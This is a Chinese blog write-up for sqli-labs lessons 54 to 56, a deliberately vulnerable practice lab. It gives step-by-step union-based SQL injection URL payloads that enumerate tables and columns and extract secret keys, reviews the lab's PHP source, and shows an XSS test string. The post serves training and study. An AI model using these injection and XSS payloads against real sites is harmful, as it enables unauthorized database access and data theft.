当前位置:网站首页>sqli-labs通关汇总-page4
sqli-labs通关汇总-page4
2022-07-02 06:23:00 【徐记荣】
less-54(GET型、单引号、联合查询)
less-55(GET型、数字型括号、联合查询)
less-56(GET型、单引号括号、联合查询)
less-54
标题:GET - challenge - Union -10 queries allowed - Variation1
这里开始有意思了,仅允许10个查询
第一步:测闭合
?id=1'

无回显,排除双引号闭合
第二步:测闭合
?id=1"

排除数字型闭合,确定为单引号闭合
第三步:测闭合
?id=1' --+

确定为''闭合
第四步:测查询语句字段数
这个就很迷了,你运气不好你就测不到,这时候还是用二分法去测吧
?id=1' order by 4 --+

报错,说明查询语句字段数小于4
第五步:测查询语句字段数
?id=1' order by 3 --+

得出查询语句字段数为3个
第六步:测前端回显位置,顺带着回显数据库
?id=-1' union select database(),database(),database() --+

得到数据库名为challenges
第七步:获取表名
?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+

得到表名为rt85c5veac
第八步:获取字段名
?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='rt85c5veac'),3 --+

得到字段名:id,sessid,secret_F5D9,tryy
有个叫秘密的字段名
第九步:获取字段值
?id=-1' union select 1,(select group_concat(secret_F5D9) from rt85c5veac),3 --+

得到key:e3GqUNpU23vQcA9K2fGxOrNz
提交
OK
看一下源码
不全贴,先看index.php
这个文件的代码跟之前
除了数据库用的是$dbname1 = "challenges"; ,都是一样
我们看一下functions.php
定义了好多方法,我们先看一下主函数部分
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; //charset for dynamic generation of strings
// Generating a dynamic alfanumeric Table name with each purge.
$table = num_gen(10, $characters) ;
// Generating Secret key column.
$secret_key = "secret_".num_gen(4, $characters);
//retrieve dynamic table name from database.
定义了个字符串$characters
调用了num_gen方法,
1.num_gen()
function num_gen($string_length, $characters)
{
$string = '';
for ($i = 0; $i < $string_length; $i++)
{
$string .= $characters[rand(0, strlen($characters) - 1)];
}
return $string;
}
该方法生成一个在ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789字符中的长度为$string_length的随机字符串
$table生成了一个长度为10的随机字符串$secret_key生成了一个程度为4的随机字符串
我们在看一下其他方法
2.table_name()
function table_name()
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT table_name FROM information_schema.tables WHERE table_schema='$dbname1'";
$result=mysqli_query($con1, $sql) or die("error in function table_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function table_name() output". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges库中的所有表,并返回第一个表
3.column_name()
function column_name($idee)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$table = table_name();
$sql="SELECT column_name FROM information_schema.columns WHERE table_name='$table' LIMIT $idee,1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法查询challenges库中的第一个表的字段,$idee限制输出第几个字段,并返回字段名
4.data()
function data($tab,$col)
{
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql="SELECT $col FROM $tab WHERE id=1";
$result=mysqli_query($con1, $sql) or die("error in function column_name()".mysqli_error($con1));
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function column_name() result". mysqli_error($con1));
else
return $row[0];
}
该方法用来查询$tab表,返回$col字段值
5.next_tryy
function next_tryy()
{
$table = table_name();
//including the Mysql connect parameters.
include '../sql-connections/db-creds.inc';
include '../sql-connections/sql-connect-1.php';
$sql = "UPDATE $table SET tryy=tryy+1 WHERE id=1";
mysqli_query($con1, $sql) or die("error in function next_tryy()". mysqli_error($con1));
}
该方法使id=1的try字段的字段值+1
6.view_attempts
function view_attempts()
{
include("../sql-connections/sql-connect-1.php");
$table = table_name();
$sql="SELECT tryy FROM $table WHERE id=1";
$result=mysqli_query($con1, $sql) ;
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
if(!$row)
die("error in function view_attempts()". mysqli_error($con1));
else
return $row[0];
}
该方法查询id=1的try字段的字段值,并返回
我们看一下主页面index.php
$pag = $_SERVER['PHP_SELF'];
| 代码 | 描述 |
|---|---|
| $_SERVER[‘PHP_SELF’] | 当前执行脚本的文件名,与 document root 有关。例如,在地址为 http://example.com/test.php/foo.bar 的脚本中使用 $SERVER[‘PHP_SELF’] 将得到 /test.php/foo.bar。_ FILE __ 常量包含当前(例如包含)文件的完整路径和文件名。 |
我这里$pag的值是
/sqli/Less-54/index.php
$characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789'; //characterset for generating random data
$times= 10;
$table = table_name();
$col = column_name(1); // session id column name
$col1 = column_name(2); //secret key column name
$time用来限制查询次数的$table用来获取challenges的表名,表只有一个$col和$col1分别来获取两个字段名,后面有注释,分别是session id和secret key

'answer_key'是
下面这个Submit,没点击前是没有值的,所以if后面语句才能执行

'reset'是
前面重制关卡的按钮,不点也是空,所以if后面也不会执行,如果点了,提交了,就会重新发个cookie

后面这一部分,如果cookie不为空,则给cookie内添加表内session id的值,和一个月的时间

获取前端传来的id值,若存在
执行next_tryy()方法,表中tryy值+1
并执行view_attempts()方法,回显tryy值

下一步,判断tryy值是否超过10次,超过就删掉cookie,重新跳转页面,前面$pag获取的路径就是用在这的

后面这一部分就是常规的查询,前端回显值

再后面这部分是处理,提交key是否正确的代码
非常有意思的是他这边分别用addslashes()和mysqli_real_escape_string()做了两次转义,没想明白有什么用,但此处提交
<script>alert(/xss/)</script>

可以发现此处是存在xss漏洞的
less-55
GET - challenge - Union - 14 queries allowed - Variation 2
第一步:测闭合
?id=1'

无回显,排除双引号闭合
第二步:测闭合
?id=1"

无回显,排除单引号闭合,确定为数字型
第三步:测闭合
?id=1 --+

无回显,继续加括号
第四步:测闭合
?id=1) --+

有回显,可以确定为()闭合
第五步:测查询语句字段数
?id=1) order by 4 --+

说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1) order by 3 --+

说明查询语句字段数为3
第七步:测前端回显位置,顺带着回显数据库

得到数据库名challenges
第八步:获取表名
?id=-1) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+

得到表名为b6gqo9qti7
第九步:获取字段名
?id=-1) union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='b6gqo9qti7'),3 --+

得到字段名id,sessid,secret_UHTF,tryy
第十步:获取字段值
?id=-1) union select 1,(select group_concat(secret_UHTF) from b6gqo9qti7),3 --+

得到key:UUN75bQF8s7z116LDOpgUNp7

做到这突然想起一个事情,包括54关
这里顺带回显数据库是不对的,因为无法确定回显位置是1,2,3中的哪两个
还有55关与54关除了闭合没什么区别
less-56
标题:GET - challenge - Union - 14 queries allowed - variation 3
第一步:测闭合
?id=1'

无回显,排除双引号闭合
第二步:测闭合
?id=1"

有回显,可以排除数字型,确定为单引号闭合
第三步:测闭合
?id=1' --+

无回显,继续加括号
第四步:测闭合
?id=1') --+

有回显,说明是('')闭合
第五步:测查询语句字段数
?id=1') order by 4 --+

报错,说明查询语句字段数小于4
第六步:测查询语句字段数
?id=1') order by 3 --+

有回显,说明查询语句字段数为3
第七步:查看前端回显位置
?id=-1') union select 1,2,3 --+

2,3处存在回显
第八步:获取数据库名
?id=-1') union select 1,database(),3 --+

得到数据库名:challenges
第九步:获取表名
?id=-1') union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),3 --+

得到表名:5ickf0b94k
第十步:获取字段名
?id=-1') union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='challenges' and table_name='5ickf0b94k'),3 --+

得到字段名:id,sessid,secret_PK1F,tryy
第十一步:获取字段值
?id=-1') union select 1,(select group_concat(secret_PK1F) from 5ickf0b94k),3 --+

得到key:ZHMul4PlVGOjx8USXcH5Rgy6

和55关、54关一样,仅仅是闭合变为了('')
less-57
GET - challenge - Union - 14 queries allowed - Variation 4
边栏推荐
- MySQL index
- Alibaba cloud MFA binding Chrome browser
- 20201002 vs 2019 qt5.14 developed program packaging
- Solution to the black screen of win computer screenshot
- 20201002 VS 2019 QT5.14 开发的程序打包
- CVE-2015-1635(MS15-034 )遠程代碼執行漏洞複現
- js中map和forEach的用法
- 工具种草福利帖
- 看完有用的blog
- Selenium+msedgedriver+edge browser installation driver pit
猜你喜欢

Alibaba cloud MFA binding Chrome browser

The win10 network icon disappears, and the network icon turns gray. Open the network and set the flash back to solve the problem

How to debug wechat built-in browser applications (enterprise number, official account, subscription number)

20201002 VS 2019 QT5.14 开发的程序打包

Latex compiles Chinese in vscode and solves the problem of using Chinese path
![[Zhang San learns C language] - deeply understand data storage](/img/b5/cf0bfae8eacf335d3c350c9cbadb87.png)
[Zhang San learns C language] - deeply understand data storage

Présence d'une panne de courant anormale; Problème de gestion de la fsck d'exécution résolu

由于不正常断电导致的unexpected inconsistency;RUN fsck MANUALLY问题已解决

Pytest (2) mark function

apt命令报证书错误 Certificate verification failed: The certificate is NOT trusted
随机推荐
js把一个数组分割成每三个一组
FE - Weex 使用简单封装数据加载插件为全局加载方法
Kali latest update Guide
QQ email cannot receive the email sent by Jenkins using email extension after construction (timestamp or auth...)
Eggjs -typeorm 之 TreeEntity 实战
Stress test modification solution
How to debug wechat built-in browser applications (enterprise number, official account, subscription number)
Stack (linear structure)
js删除字符串的最后一位
Latex参考文献引用失败 报错 LaTeX Warning: Citation “*****” on page y undefined on input line *
js删除字符串的最后一个字符
Dynamic global memory allocation and operation in CUDA
The use of regular expressions in JS
Self study table Au
Sentry construction and use
js创建一个自定义json数组
pytest(2) mark功能
apt命令报证书错误 Certificate verification failed: The certificate is NOT trusted
virtualenv和pipenv安装
Render minecraft scenes into real scenes using NVIDIA GPU